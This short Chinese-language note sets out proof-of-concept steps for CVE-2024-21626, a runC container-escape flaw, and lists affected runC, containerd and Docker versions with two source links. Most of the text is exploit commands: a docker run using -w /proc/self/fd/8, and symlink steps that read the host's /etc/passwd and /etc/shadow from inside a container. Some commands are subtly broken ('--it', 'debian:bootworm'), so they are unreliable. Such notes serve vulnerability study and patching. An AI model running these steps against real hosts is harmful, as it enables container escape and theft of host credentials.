CVE-2024-21626

漏洞利用（工作目录）

docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

• 关键是设置 -w /proc/self/fd/8\
• 在容器内使用 cat ../../../../../../../../../etc/passwd 访问主机文件系统

漏洞利用（符号链接）

1. docker run --name cve-2024-21626 --rm --it debian:bootworm
2. 在容器内 - ln -sf /proc/self/fd/7/ /foo
3. 在容器内 - ln -sf /proc/self/fd/8/ /bar
4. docker exec -it -w /bar cve-2024-21626 sleep 120
5. 在容器内 - ls -F /proc
6. 在容器内 - cat /proc/9/cmdline（查找 sleep 命令的 PID）
7. 在容器内 - cat /proc/9/cwd/../../../../../etc/shadow

受影响版本

• runC：>= 1.0.0-rc93 且 <= 1.1.11。
• containerd：>= 1.4.7 且 <= 1.6.27，以及 >= 1.7.0 且 <= 1.7.12。
• Docker：在 25.0.2 中修复

来源

https://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd https://labs.withsecure.com/publications/runc-working-directory-breakout--cve-2024-21626